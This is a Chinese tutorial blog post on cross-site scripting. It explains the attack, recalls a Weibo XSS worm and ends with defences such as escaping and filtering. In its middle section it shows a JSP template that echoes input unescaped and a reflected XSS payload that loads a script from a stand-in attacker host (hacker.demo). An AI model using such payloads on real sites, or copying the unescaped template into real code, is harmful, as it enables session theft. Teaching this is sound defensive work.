信息安全之XSS攻击

目录

一、简介

二、案例

三、防范


一、简介

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

比如发生在2011年左右的微博XSS蠕虫攻击事件,攻击者就是利用了微博发布功能中未对acton-data漏洞做有效的过滤,在发布微博信息的时候带上了包含攻击脚本的URL。用户访问微博时便加载了恶意脚本,该脚本会让用户以自己的账号自动转发同一条微博,通过这种方式疯狂扩散,导致微博大量用户被攻击。

二、案例

从技术原理上,后端Java开发员工、前端开发员工都有可能造成XSS漏洞,比如下面的模板文件就可能导致反射性XSS

    <input type = 'text'  value='<%=getParameter("keyword")%>'>
    <button>搜索</button> 
    <div> 
        您搜索的关键词是: <%=getParameter("keyword")%> 
    </div> 

上面代码从HTTP请求中取了keyword参数,并直接输入到HTML中用于展示。当黑客构造如下的URL时就出现了反射性XSS,用户浏览器就可以执行黑客的JavaScript脚本

    http://xxx/search?keyword='><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>

当浏览器请求上述URL时,服务端会解析出请求参数keyword,得到 如下数据

'><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>

 拼接到 HTML 中返回给浏览器。形成了如下的 HTML

    <input type = 'text'  value=''><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>
    <button>搜索</button> 
    <div> 
        您搜索的关键词是: '><script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>
    </div> 

浏览器无法分辨出 <script>alert("XSS");</script><script src=http://hacker.demo/xss-script.js/>是恶意代码,因而将其执行

三、防范

在防范XSS上,主要通过对用户输入数据做过滤或者转义。比如Java开发人员可以使用Jsoup框架对用户输入字符串做XSS过滤,或者使用框架提供的工具类对用户输入的字符串做HTML转义,例如Spring框架提供的HtmlUtils。

前端在浏览器展示数据时,也需要使用安全的API展示数据,比如使用innerText而不是innerHTML。所以需要前后端开发人员一同配合才能有效防范XSS漏洞。

除了开发人员造成的漏洞,近年来出现了一种Self-XSS的攻击方式。Self-XSS是利用部分非开发人员不懂技术,黑客通过红包。奖品或者优惠券等形式,诱导用户复制攻击者提供的恶意代码,并粘贴到浏览器的Console中运行,从而导致XSS。由于Self-XSS属于社会工程学攻击,技术上目前尚无有效防范机制,因此只能通过在Console中展示提醒文案来阻止用户执行未知代码。

猜你喜欢

转载自blog.csdn.net/mmake1994/article/details/88661290